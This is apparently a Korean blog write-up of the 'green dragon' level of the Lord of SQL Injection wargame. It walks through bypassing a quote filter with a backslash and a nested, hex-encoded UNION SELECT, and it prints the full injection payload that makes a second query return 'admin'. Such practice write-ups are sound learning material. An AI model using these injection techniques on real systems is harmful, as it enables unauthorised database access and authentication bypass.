-
<Lord of SQL Injection> green dragonWargame/Lord of SQL Injection 2021. 11. 27. 16:40
GET 방식으로 전달받은 id와 pw에서 prob, _, ., ', " 를 필터링한다.
$query를 통해 id와 pw를 가져와 $result 배열로 저장한다.
$result['id']가 참이면 $query2를 통한 id를 $result 배열로 저장한다.
$result['id']가 'admin'이면 문제가 풀린다.
'\' 뒤에 특수문자가 오면 일반 문자로 인식한다.
?id=\&pw= or 1=1%23을 입력하면 항상 참이지만 아무 것도 출력하지 않는다.
prob_green_dragon 테이블이 비어있음을 짐작할 수 있다.
따라서 union select를 이용해야 한다.
?id=\&pw=union select 1,2%23을 입력하면
select id,pw from prob_green_dragon where id='\' and pw='union select 1,2#'
빨간 부분이 단순한 문자열로 인식된다. 두 번째 쿼리도 정상적으로 출력된다.
prob_green_dragon이 빈 테이블이므로 두 번째 쿼리의 id와 pw를 무효화시키고 union select admin을 하면 될 것 같다.
두 번째 쿼리의 형태가
select id from prob_green_dragon where id='\' and pw=' union select 'admin'#'이 되도록 해야한다.
싱글 쿼터(')나 더블 쿼터(")를 필터링하기 때문에 'admin'은 hex값으로 입력한다.
즉, select id from prob_green_dragon where id='\' and pw=' union select 0x61646d696e%23'
두 번째 쿼리를 위와 같은 형태로 만들기 위해
첫 번째 쿼리가
select id,pw from prob_green_dragon where id='\' and pw='union select \, union select 0x61646d696e%23%23'가 되어야 한다.
pw='union select \,union select 0x61646d696e%23%23' 부분의 \와 union select 0x61646d696e%23도 싱글 쿼터, 더블 쿼터를 사용할 수 없기에 hex 값으로 바꿔 입력한다.
?id=\&pw= union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23을 입력하면
첫 번째 쿼리는
select id,pw from prob_green_dragon where id='\' and pw='
union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523#' 가 되고,
두 번째 쿼리는
select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#' 가 된다.
뒤의 select 0x61646d696e을 통해 admin이 된다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> blue dragon (0) 2021.11.29 <Lord of SQL Injection> red dragon (0) 2021.11.28 <Lord of SQL Injection> evil wizard (0) 2021.11.26 <Lord of SQL Injection> hell fire (0) 2021.11.25 <Lord of SQL Injection> dark eyes (0) 2021.11.24